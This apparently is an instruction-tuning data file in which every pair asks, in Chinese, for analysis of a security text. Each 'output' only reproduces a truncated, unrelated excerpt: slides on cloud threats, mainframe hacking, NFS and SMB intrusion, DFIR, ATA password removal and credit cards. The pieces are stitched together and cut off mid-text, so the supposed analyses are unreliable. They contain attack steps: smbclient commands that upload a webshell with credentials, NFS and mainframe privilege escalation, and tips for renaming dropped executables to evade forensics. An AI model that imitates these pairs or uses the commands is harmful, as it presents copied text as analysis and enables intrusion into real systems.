Cloud
inSecurity
Who am I?
Camera man @ HITCon
Member @
Sr. Engineer @
Network
Security
Web 2.0
Security
BSD/Linux
Kernel
Firewall
Internal
IPS/IDS
Anti-SPAM
Antivirus
Programming
Network
Appliance
苦命工程師
過勞
好人 Orz
Network
Access
Control
加班
Before the Presentation
This is a trend discussion.
No deep technical issues.
It’s about new security model.
Not technology.
AGENDA
Cloud Computing
in
Security World
AGENDA
Vendors are eager to adopt this
technology.
Are bad guys scared?
(Or excited ☺)
AGENDA
and …
What about
Bad guys 0wn the Cloud.
What is the Cloud Computing?
What is Cloud Computing?
SaaS
(Software as a Service)
In-the-cloud Service
Thin Client
Cloud Computing (SaaS)
Move applications, storages, …
To Cloud Servers.
Client becomes simple.
Cloud Computing (SaaS)
Still no idea?
Google web applications
Amazon EC2/S3/Simple DB
…
Cloud Computing (SaaS)
No hardware issues,
No software update,
No storage problem, and
You can use it wherever you are.
Cloud Computing (SaaS)
This model is amazing, and
really changed our life.
But you may already know,
hackers are always ahead of us.
They knows cloud computing very
long time ago.
How it works?
Scenario 1
駭客小陳 的 Cloud Computing
雲端儲存 肉雞儲存
________
小陳的雲 (烏雲)
無辜的人
小陳
馬神
後門神
How it works?
Scenario 2
還是 駭客小陳 的 Cloud Computing
雲端運算 肉雞運算
________
小陳的雲 (烏雲)
John 神
小陳
Shadow
密碼檔
Grid Computing
How it works?
Scenario 3
還是 駭客小陳 的 Cloud Computing
雲端運算 肉雞運算
________
小陳的雲 (烏雲)
無辜的網站
DDoS 神
小陳
不爽
召喚
Bot Net
MD5 Rainbow Table
本站4T硬盘已经上线,共有md5记录
457,354,352,282条，宇宙第一，且还在不断增长
中，已包含12位及12位以下数字、8位字母、全部
7 位及以下字母加数字等组合，并针对国内用户做
了大量优化，例如已经包含所有手机号码、全国部
分大中城市固定电话号码、百家姓、常用拼音等大
量组合，另加入 了大型网站真实会员密码数据100
万条。本站数据量大，查询速度快，同时支持16
位及32位密码查询。通过对10万会员的真实动网
论坛样本数据的测试，本 站对于动网论坛密码的
命中率达到83%。全国独此一家。
Dark Cloud
Malware is software,
software is moving to the cloud,
therefore,
malware is moving to the cloud.
Dark Cloud
Malware as a Service
MaaS
Dark Cloud – Profit Driven
Criminals have adopted the
new model too, and are
o...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DFIR(Digital Forensics and Incident
Response) 数字取证和应急响应
一.介绍
二.正文
1. mess #DFIR
地址: https://twitter.com/0gtweet/status/1305887051976511489
通常我们运行一个程序，会在prefetch目录缓存，用来加速程序的运行 *.pf文件,也叫预读取功能。加快
系统启动，文件读取速度。
默认路径： c:\windows\prefetch
仔细观察，会发现有两个CHRROME.exe程序，因此在渗透中exe不得不落地到目标磁盘上时，也要重
命名，可以改为dllhost,mmc,rundll32,svchost等等。
# 说明: 纯粹是在学习代码后，当娱乐看的。如有错误，还请包涵。
# By bopin
最近在推上持续关注着一位搞安全研究的大佬，主要领域是: 内存转储(rdrleakdiag白利用就是他的杰
作)，LOLBins。本次带来的内容是关于DFIR的，看官请听我仔细到来。
推特:https://twitter.com/0gtweet
Github:https://github.com/gtworek/
2. EntClientDb.edb 应用的数据库文件
一般包含视频，音乐等，作者也写了一个ps脚本用来解析EntClientDb.edb文件
https://github.com/gtworek/PSBits/blob/master/DFIR/Analyze_EntClientDb.ps1
仔细阅读这些注意事项：（说说我踩过的坑把）
# The script performs an analysis of the EntClientDb.edb, specifically, the
"TblFile" table containing paths.
# For your own safety, please work on the copy of the EntClientDb.edb file and
not on the original one:
%LOCALAPPDATA%\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\LocalState\Database\an
onymous\EntClientDb.edb even if the script opens it readonly.
# Analysis of the database may be made without any special permissions, but
gathering the file itself is a bit more challenging. I can suggest one of the
following ways:
#   1. kill the Video.UI.exe process
#   2. offline copy (such as copy from disk image, by booting from usb etc.)
#   3. copy from the vss snapshot
# SET IT TO YOUR COPY OF EntClientDb.edb
没有停止相关程序。
帮助链接: https://twitter.com/0gtweet/status/1306509670585176064
停止相关进程后然后复制 edb到别的路径下，作者是这样说的：It should work on the copy, and not
on the original file.
当然也可以使用handle 获取指定进程的信息  .edb
handle.exe 微软官方下载地址: https://docs.microsoft.com/en-us/sysinternals/downloads/handle
GUI版: Process Explorer: https://docs.microsoft.com/en-us/sysinternals/downloads/process-explo
rer
3. DFIR Prefetch研究
https://twitter.com/0gtweet/status/1306914319012163584
3.1 Cleanup
Prefetch 文件默认太大就会被清理，如果CPU处于空闲时，且大小超过了 256 / 10MB的一半，清理程
序会周期性开始工作。
3.2 MaxPrefetchFiles 最大数值
管理员可以更改MaxPrefetchFiles和MaxPrefetch...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

From ROOT
to SPECIAL
PWNING IBM
Mainframes
Soldier of Fortran
@mainframed767
DISCLAIMER!
All research was done under
personal time. I am not here
in the name of, or on behalf
of, my employer.
Any views expressed in this
talk are my own and not those
of my employer.
This talk discusses work
performed in my spare time
generally screwing around with
mainframes and thinking 'what
if this still works...'
@mainframed767
PCI
Security
Expert
Mainframe
Security
Guru
ISO 27002
& PCI
Certifier
“What’s
NETSTAT?”
- Our Horrible Consultant
Spoken
?Question?
PLAIN
TXT
53%
SSL
47%
INTERNET
MAINFRAMES
z/OS? WTF
•  Most popular
“mainframe” OS
•  Version 2.1 out
now!
Legacy my ass!
@mainframed767
z/OS Demo
•  Let’s take a
look at this
thing
•  It’ll all make
sense
@mainframed767
@mainframed767
Ettercap Demo
@mainframed767
Missed it
@mainframed767
CGI-Bin in
tyool 2014
•  REXX / SH still
used
•  Injection simple,
if you know TSO
commands
@mainframed767
@mainframed767
CENSORED(
CENSORED(
@mainframed767
Only FTP?
•  No Problem!
•  FTP lets you run
JCL (JCL = Script)
•  Command:
   SITE FILE=JES
@mainframed767
Access
Granted
•  Now we have
access
•  FTP Script
Account
•  Ettercap
Now what?
@mainframed767
Escalate!
•  Let’s escalate
our privilege
•  Connect with
telnet/ssh/3270
•  Use local priv
escalation
@mainframed767
Getroot.rx
•  rexx script
•  Leverages
CVE-2012-5951:
Unspecified vulnerability in IBM
Tivoli NetView 1.4, 5.1 through 5.4,
and 6.1 on z/OS allows local users
to gain privileges by leveraging
access to the normal Unix System
Services (USS) security level.
Tsk tsk
•  IBM not really
being honest
here
• Works on any
setuid REXX
script!
@mainframed767
@mainframed767
DEMO
@mainframed767
DEMO
THANKS
•  Swedish Black
Hat community
•  Oliver Lavery
– GDS Security
•  Logica Breach
Investigation
Files
@mainframed767
Keep ACCESS
•  Get a copy of
the RAC...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

今天看到一篇文章: https://bitsadm.in/blog/windows-security-updates-for-hackers
讲述如何通过Windows的补丁号来评估系统面临的风险以及工具的相关实现，它通过爬取微软官方更新
中的KB号和系统已有的进行对比，和hacking8的提权辅助 https://i.hacking8.com/tiquan 有一点异曲
同工之妙。
它发布的工具是: https://github.com/bitsadmin/wesng 我摘出一些觉得有用的代码出来。
识别系统版本
通过systeminfo，得知我的系统版本是 19042
可得出我的系统版本是 20H2
Windows版本号过去发布的格式是YYMM，YY为年，MM为月，例如2020年4月发布的，即是
2004，系统内部代号即是19041
从2020年Windows10秋季发布开始，变成了YYH1/YYH2半年模式
识别系统版本号，在后面可以用来筛选安全更新，减少误报率。
根据systeminfo信息确认系统版本
主要就是通过正则，python代码如下
# 构建号和版本之间的映射表以正确识别
# systeminfo输出中指定的Windows 10/11/Server 2016/2019/2022版本
buildnumbers = OrderedDict([
    (10240, 1507),
    (10586, 1511),
    (14393, 1607),
    (15063, 1703),
    (16299, 1709),
    (17134, 1803),
    (17763, 1809),
    (18362, 1903),
    (18363, 1909),
    (19041, 2004),
    (19042, '20H2'),
    (19043, '21H1'),
    (22000, '21H2') # Windows 11
])
# Determine Windows version based on the systeminfo input file provided
def determine_product(systeminfo):
    systeminfo = charset_convert(systeminfo)
    # Fixup for 7_sp1_x64_enterprise_fr_systeminfo_powershell.txt
    systeminfo = systeminfo.replace('\xA0', '\x20')
    # OS Version
    regex_version = re.compile(r'.*?((\d+\.?){3}) ((Service Pack (\d)|N\/\w|.+)
)?[ -\xa5]+ (\d+).*', re.MULTILINE | re.IGNORECASE)
    systeminfo_matches = regex_version.findall(systeminfo)
    if len(systeminfo_matches) == 0:
        raise WesException('Not able to detect OS version based on provided
input file\n    In case you used the missingpatches script, use: wes.py -m
missing.txt')
    systeminfo_matches = systeminfo_matches[0]
    mybuild = int(systeminfo_matches[5])
    servicepack = systeminfo_matches[4]
    # OS Name
    win_matches = re.findall('.*?Microsoft[\(R\)]{0,3} Windows[\(R\)?]{0,3} ?
(Serverr? )?(\d+\.?\d?( R2)?|XP|VistaT).*', systeminfo, re.MULTILINE |
re.IGNORECASE)
    if len(win_matches) == 0:
        raise WesException('Not able to detect OS name based on provided input
file')
    win = win_matches[0][1]
    # Syst...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents
Tunable Replica Circuit for Fault-
Injection Detection
Daniel Nemiroff
Carlos Tokunaga
• Fault‐Injection Attack Basics
• Dive into the TRC (Tunable Replica Circuit)
• Why and How Intel Integrated the TRC
• TRC Calibration and Validation
• Conclusions and Productization
Non‐Invasive FI Attacks
• This briefing covers the fault‐injection
detection circuit, known as the TRC
(tunable replica circuit).
• Our focus is non‐invasive FI attacks, where
modification of the package is out of scope,
this includes:
• Voltage attacks
• Clock attacks
• EM (electro‐magnetic radiation) attacks
• Thermal attacks
Non‐Invasive FI Attacks
As they are exposed at the package‐level,
clock and voltage pins are the primary non‐
invasive attack surface.
Semi‐Invasive FI Attacks
• Lasers are a primary semi‐invasive threat,
because they require a package de‐lid.
• However, research shows attacks from the
side of a package can be done, without a
de‐lid.
• These attacks are out of scope for this
briefing.
To Complete the Circle . . .
. . . Invasive Physical Attacks
Primary Vehicles:
• FIBs, etching, on‐die probing, etc.
• Again, out of scope for this briefing, which
is focused on non‐invasive physical
attacks.
What is the Attacker is Trying to
Accomplish with FI?
• Using FI, a common goal of the attacker is to cause circuit timing to
fail, without causing the platform to crash.
• When circuit timing fails, data can be latched too early or too late.
• In many cases, latching data early causes 0x00 to be latched.
• In the context of a CPU or uC, when glitched at just the right time, an
attack can cause a NOP to be latched, instead of a JMP.
• In fixed‐function crypto engines, real keys could be replaced, etc.
• In fabrics and busses, I/O devices could latch data or bus addresses
too early/late.
Voltage Glitch Impact on Timing
Good CLK
Data Lines: Undervoltage glitch slows the data down, resulting in a 0b being latched
Under‐voltage Glitch Attack
NOP
JMP
Clock Gl...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

2020/9/25
Linux提权姿势二：利用NFS提权
https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&tempkey=MTA4MF95ZVZHaittcHd5aEVSN0dCcmZLUkk1ekhBRi1Sb2JicDBqQ20tU…
1/6
Linux提权姿势二：利用NFS提权
如果在服务器上具有低特权shell，并且发现服务器中具有NFS共享，则可以使用它来升级特权。但是成功
取决于它的配置方式。
目录
什么是NFS？
网络文件系统（NFS）是一个客户端/服务器应用程序，它使计算机用户可以查看和选择存储和更新远程
计算机上的文件，就像它们位于用户自己的计算机上一样。在  NFS  协议是几个分布式文件系统标
准，网络附加存储（NAS）之一。
NFS是基于UDP/IP协议的应用，其实现主要是采用远程过程调用RPC机制，RPC提供了一组与机器、操作
系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数
据描述编码的协议，他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码，支持在异构
系统之间数据的传送。
什么是root_sqaush和no_root_sqaush？
Root Squashing（root_sqaush）参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用
户在连接时会分配一个用户“ nfsnobody ”，它具有最少的本地特权。如果 no_root_squash 选项开启
的话”，并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时，系统管理员应始终使
用“ root_squash ”参数。
注意：要利用此，no_root_squash 选项得开启。
利用NFS并获取Root Shell
现在，我们拿到了一个低权限的shell，我们查看“ / etc / exports ”文件。
/ etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。
这个文件的内容非常简单，每一行由抛出路径，客户名列表以及每个客户名后紧跟的访问选项构成：
[共享的目录] [主机名或IP(参数,参数)]
1
2
3
4
1.什么是NFS？
2.什么是root_sqaush和no_root_sqaush？
3.所需的工具和程序文件。
4.利用NFS弱权限。
1
2
3
4
其中参数是可选的，当不指定参数时，nfs将使用默认选项。默认的共享选项是 sync,ro,root_squ
当主机名或IP地址为空时，则代表共享给任意客户机提供服务。
当将同一目录共享给多个客户机，但对每个客户机提供的权限不同时，可以这样：
[共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]
李木
黑白天 今天
2020/9/25
Linux提权姿势二：利用NFS提权
https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&tempkey=MTA4MF95ZVZHaittcHd5aEVSN0dCcmZLUkk1ekhBRi1Sb2JicDBqQ20tU…
2/6
我们可以看到/ tmp 文件夹是可共享的，远程用户可以挂载它。
还有不安全的参数“ rw ”（读，写），“ sync ”和“ no_root_squash ”
同样我们也可以使用 showmount命令来查看。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
showmount命令用于查询NFS服务器的相关信息
# showmount --help
Usage: showmount [-adehv]
       [--all] [--directories] [--exports]
       [--no-headers] [--help] [--version] [host]
-a或--all
   以 host:dir 这样的格式来显示客户主机名和挂载点目录。
-d或--directories
   仅显示被客户挂载的目录名。
-e或--exports
   显示NFS服务器的输出清单。
-h或--help
   显示帮助信息。
-v或--version
   显示版本信。
--no-headers
   禁止输出描述头部信息。
显示NFS客户端信息
# showmount
显示指定NFS服务器连接NFS客户端的信息
# showmount 192.168.1.1  #此ip为nfs服务器的
显示输出目录列表
# showmount -e
2020/...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Credit Cards: Everything You have
Ever Wanted to Know
Robert “hackajar” Imhoff-Dousharm
A brief History
● 1950 DinersClub
● 1958 American Express
● 1958 BankAmericard (Visa)
● 1966 MasterCard International (ICA)
● 1986 Discover Card
Technology
● Knuckle Buster's
● Dial-Up Authorization Terminal
● High Speed Leased Lines
● Gateway Processor's
● Co-op Leased Lines
● Online API Gateways
Marketing & Technology
● Smart Cards
● Virtual One Time Use Cards
● Gift Cards
● Secure Cards
● Easy Pay RFID Cards
Physical Fraud Features
● Embossed Card Number
● Card Vendors Logo
● Card Vendors Hologram
● Card Vendors Embossed Cursive Letter
● First 4-digits non-embossed
● Expiration Date
● Magnetic Strip
● Signature Panel
● CVV2 Code
Credit Card Magnet Data
● 2 Tracks used for credit cards
● 3rd Track used for meta data, non credit cards
● Review of Tracks 1 & 2
Transaction Flow - Authorization
● Initial Authorization
● FEP Hand Off
● Back End / Merchant Link
● Issuing Bank Authorization
● FEP Record Update
● Terminal Signature Printout
Transaction Flow - Settlement
● Close Out Terminal
● Send Closeout request to FEP
● Send Totals, individual transactions, Totals
● FEP Record Update
● FEP Batch Close to Issuing Banks
● Money is “Settled” to MSP
● MSP Funds Merchant
Data Storage
● Grab ass with your personal data
● Known sources of data storage
● Possible sources data may be stored
● Extent of Information Stored
● High Risk Merchants (for information leakage)
● Internet Merchants
Questions & Answers
● All questions accepted on topics covered from
last three DefCon talks
● Some topics NOT covered during main talk,
reserved for you to ask here
● Thank You for 3 great years of Credit Card
Security Talks


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

數位鑑識與資料救援前瞻性研究
主講人: thx (張道弘)
1
什麼是數位鑑識?
   數位鑑識也稱為電腦鑑識，是一門有效解
決資通安全與電腦犯罪難題的科學。
其定義為：以一定程序保存、識別、抽
取、記載及解讀電腦或網路媒體 ...。
   數位鑑識以及偵查的方式，在案件的偵
查，透過軟體並有流程，拿取一些儲存於
儲存裝置，可有助於案情釐清以及曝光。
2
司法單位所用的儲存媒體鑑識技術
   使用：Encase，Winhex，R-Studio，
FTK imager ,Helix Live CD純軟體
做邏輯區分析處理。
資料讀取出來,純做數值運算,撈取資料
如果是主流 File System 現行商用軟體已
非常成熟.技術公開透明。
3
數位鑑識技術生活化應用
此外以下狀況也會運用到數位鑑識技術
 但是要注意法律: 無故以不正方法侵犯他人隱私
知悉之他人秘密，即為妨害秘密罪
      徵信社
  商業或特務間諜
  公司管理人員查詢使用者電腦行為
      家長調查查詢家庭小孩電腦行為
4
數位鑑識法理性流程
   由於數位證據容易被修改,因此若要做為法
律證物,要有一定流程,校驗程序以保障證物
沒被修改.
在設計數位鑑識軟體上因此需加入
1.專案管理.
2.對每次數位證據操作有記錄
3.對主數位證物檔有HASH記錄.以確保數位
證據沒被修改.
5
   基層的警員以及偵查隊需要做更高技術層次
數位鑑識，須透過專門的偵查部門才有設備
跟研究人員才能進行取證，會嚴重影響到辦
案進度及只有重大案件才能用上這些技術.
實際上 如果瞭解底層技術，透過了解其原
理以及運作模式的情況下，可以用普通的設
備或軟體達到接近專業效果
困難度高的數位鑑識
6
高難度鑑識 :ATA 加密與解密
        加密為 ATA  規範的一部分，用於保護硬碟資料。ATA 密碼
長度為 32 位元，包括：User Password 和 Master Password
（Master Password 僅用於解除 User Password 而並不會鎖住
硬碟）。
 ATA 密碼的設置是由 ATA Protocol "Security SetPassword"
指令組完成的。執行 Security Set Password 指令後，在硬碟下
次重新啟動後密碼就會生效。
ATA Password 存在電路版上外也記錄在碟片模組上
(在碟片上的故軔體+參數通稱為模組).
因此更換電路版無法解密。
 ATA 密碼保護的硬碟初始化 ATA 待命訊號正常,但僅回應有限
的 ATA 指令，如設備識別型號指令，序號識別指令等等，但不
允許讀取硬碟上的資料。
7
ATA 加密與解密
用戶如何判斷硬碟被設定 ATA 加密？
1.硬碟在BIOS中可以正確識別（包括型號，序列號，LBA 等
等）。
2.所有的扇區都不可讀取（發生 ABRT 錯誤）。
3. BIOS 可能會提示要求輸入密碼或者直接給出硬碟被密碼保護
的訊息；當使用系統安裝碟或者 DOS 啟動碟讀取硬碟時會停
止，並提示 錯誤訊息，如 Xbox 1 一代的 8 GB Seagate 硬碟就
啟用 ATA 加密，在一般電腦上必須解密才可使用。
8
解開 ATA 加密硬體設備
使用昂貴幾十萬的設備處理如 ACELab PC3000 UDMA
Acelab 由俄國Таганрогского 無線電工程學院 ТРТИ
教授於1991成立，為最早逆向工程硬碟指令公司
並推出各種Data Recovery領域套裝設備。
9
可以一般軟體解開 未知ATA 加密
一. 需要能直接發送ATA Command .HBA
需要關掉AHCI 模式.建議最好用IDE 硬碟介
面控制卡.
二.軟體使用Victoria for windows+MHDD
in dos可直接發送ATA Command 指令
10
在MHDD下 顯示 硬碟已
被加密
解開 ATA 加密
11
執行如圖ATA Command 指令集
 產生出 21.bin 及 22.bin 兩個檔案此為硬
碟模塊檔
解開 ATA 加密
12
解開 ATA 加密
用 UltraEdit 打開22.bin
13
一，密碼起始位置可能不同，但排列與長度
是相似.
二，0x137 偏移位置 07指出 ATA 加密等級
三，紅色區域為User Password使用者密碼
四，綠色區域為Master Password主密碼
五，選擇紅色+綠色區域並另存檔案.
六，執行 Victoria in Windows
解開 ATA 加密
14
必需以PIO方式連接硬...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hardware Black Magic:
Building devices with FPGAs
Dr. Fouad Kiamilev, Professor
CVORG Labs
Electrical and Computer Engineering
University of Delaware
http://cvorg.ece.udel.edu
Updated Slides
and Video
Updated slides as well as video
tutorials will be available after the
conference on our website at
http://www.cvorg.ece.udel.edu
Also during our talk, to keep things
interesting during compilation we will
be giving away swag in an attempt to
keep you interested. See the slides
towards the end for details.
What is CVORG?
From “Dela-where?”
Operate like a Pirate Ship, sailing where our
curious minds take us!
Interests in reverse engineering, custom
hardware, red-teaming, security (especially
hardware), networking, high speed
communications, you name it, we love doing it!
The Jack-of-all trades research group!
What are FPGAs
Field-programmable gate arrays contains logic blocks
that can reconﬁgured
This allows a FPGA to be any moderately complex
embedded device
FPGA design tools cover the entire range of hardware
and software design.
For example, in the Xilinx world the ISE is mainly
where you write HDL and the EDK is where you can
write C.
Hardware
While it can be scary, it should be embraced
and not avoided
For every software, there is hardware
behind it
Why spend hours hacking ﬁrmware to do
what you want - make a device do it for you!
Embedded Design
Physical Layout and Interconnects
Functional Hardware Units
Interconnects and controllers
Operating System
Software
Choices for Digital
System Development
Processor?
Easy to write code, expensive chips, ok performance,
power hungry
Gate Array (ASIC)?
 Very high performance, low power, very hard to
design, expensive to manufacture
Field-Programmable Gate Array?
no manufacturing needed (just program), easier to
design than ASIC, high performance, lower power
What uses FPGAs?
Set-Top Boxes
Printers
Networking Equipment
Large Integrated Systems
FPGA’s Advantage:
Application speciﬁc speed
802.11 key c...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

协议版本
使用该协议的Windows 版本
SMB1.0
Windows 2000、Windows XP、Windows Server 2003 和Windows Server 2003
R2
SMB2.0
Windows Vista 和Windows Server 2008
SMB2.1
Windows 7 和Windows Server 2008 R2
SMB3.0
Windows 8 和Windows Server 2012
SMB.3.02
Windows 8.1 和Windows Server 2012 R2
SMB
3.1.1
Windows 10 和Windows Server 2016
T1051: Shared Webroot
笔者查看 Mitre ATT&CK T1051时，发现该技术已被弃用，即该项技术已过时，没有在野使用的
案例。
问了下@九世，靶机中这种情况很多，所以还是记录下。
简单概括为使用smbclient 上传webshell。
番外篇——SMB
既然接触的SMB，笔者就找了SMB相关的资料看了下，这个服务太常见了，以至于内网很多脆弱点都是
靠它打开的。
SMB（Server Message Block）作为一种应用层协议，历史比我们想象的更久远，我猜看到这篇笔记的
人都没SMB的年龄大（Barry Feigenbaum最初于1983年初在IBM设计SMB ,是一种文件共享协议，此
为SMB1）。
1996年，Microsoft 在 Windows NT 4.0 实现了 SMB1 ，即为CIFS ，注意，大多数时候，更愿意叫做
SMB。
简要的列举下Windows 的SMB 版本：
  在各种SMB资料中，你会频繁的看到一个协议：NetBIOS 协议。
smbclient -L //192.168.3.71 -U 0day/jerry%Admin12345  #列出共享
smbclient //192.168.3.71/wwwroot -U 0day/jerry
smb: \> put /usr/share/webshells/aspx/cmdasp.aspx c.aspx #交互式的shell上传文件
smbclient {{//server/share}} --directory {{path/to/directory}} --command "put
{{file.txt}}"
smbclient //192.168.3.71/wwwroot -U guest%"" --command="put
/home/kali/webshell.aspx webshell.aspx"  #密码为空，如要目标文件夹Everyone 用户具有读
写权限
#访问 http://192.157.3.71/webshell.aspx 即可
我这里说的NetBIOS 协议 指的是Windows 下的 NetBIOS over TCP(简称NBT)协议,实际上
NetBIOS 是一种局域网中的API ,没有定义协议，TCP/IP 上的NetBIOS 通过TCP/IP协议提供了
NetBIOS  API
简要的说下重点：
基于TCP 的NetBIOS 使用用以下端口
可在 本地连接——属性——TCP/IPv4——属性——高级——WINS——禁用TCP/IP 上的NetBIOS  关闭
NetBIOS 协议在Windows 上的实现为 NetBios Name Service （NBNS），显示名称为 TCP/IP
NetBIOS Helper ,服务名称为 lmhosts
和Hosts 文件类似，存在LMhosts 文件，在Windows 中路径
是 %Systemroot%\System32\Drivers\Etc\lmhosts.sam ，Linux中在samba configs目录中，
一般是 /etc/samba 或 /usr/local/samba/lib
WINS(Windows Internet Name Service)可以将NetBIOS 名称解析为对应的IP地址（和DNS有些
区别），为了解决NetBIOS 名不可路由而出现。
又说了一堆废话,大家理解其中的关键就好。
SMB 枚举
参考：
A Little Guide to SMB Enumeration
使用的一些工具：
Nmblookup
nbtscan
SMBMap
Smbclient
Rpcclient
Nmap
Enum4linux
Crackmapexec
Nmblookup
nbname            137/UDP
nbname            137/TCP
nbdatagram        1...